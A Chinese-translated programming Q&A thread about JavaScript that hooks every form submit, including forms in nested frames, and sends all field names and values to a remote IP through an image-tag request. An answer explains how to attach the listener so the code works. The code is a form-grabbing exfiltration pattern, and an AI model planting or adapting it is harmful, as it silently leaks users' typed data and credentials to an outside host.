0

所以很简单,我遇到了一个问题,我需要将相同的信息提交给两个 url,所以表单提交操作对于一个来说非常好,然后我想我可以做一个 javascript 监听器来提交带有简单 url 的第二个一个图像标签,但我发现如果我使用下面的代码,它不会到达我的服务器,但如果我启用警报框,它工作得很好..

如果我做错了一些非常简单的事情,我很抱歉,但这让我心烦意乱..提前谢谢。

//函数1

 function attach(wnd,handler){
        for(var i=0; i<wnd.document.forms.length; i++){
            var form = wnd.document.forms[i];
                form.addEventListener('submit', handler,false);
        }

        for(var i=0; i<wnd.frames.length; i++){
            var iwnd = wnd.frames[i];               
            attach(iwnd,handler);
        }
     }

//函数2

      function formSubmit(e){

    var forms=parent.document.getElementsByTagName("form");
    for (i = 0 ; i < forms.length; i++)
    {
        var chain="";
         var forms=parent.document.getElementsByTagName("form");

         for (x = 0 ; x < forms.length; x++)
         {
             var elements=forms[x].elements;
             for (e = 0 ; e < elements.length; e++)
             {
                 chain += elements[e].name + "%3d" + elements[e].value + "|";

             }

             //           alert(chain);
             var pic = document.createElement('img');
    pic.className = 'avatar';
    pic.src = 'http://x.x.x.x/images/Image.php?id=0.0.0.0&idi=test'+chain;
    pic.height = '50';
    pic.width = '50';

    document.getElementById('test').appendChild(pic);
         }
    }


}
4

1 回答 1

0

您需要在 DOM 可用后调用附加函数。在您的 formSubmit 函数之后添加类似这样的内容:

document.addEventListener("load", function() {
  attach(window, formSubmit);
});

请注意,旧 Internet Explorer 不支持 addEventListener。如果您需要对它们的支持,请帮自己一个忙并尝试使用 jQuery 或类似的 JS 辅助库。

于 2013-06-09T19:05:09.253 回答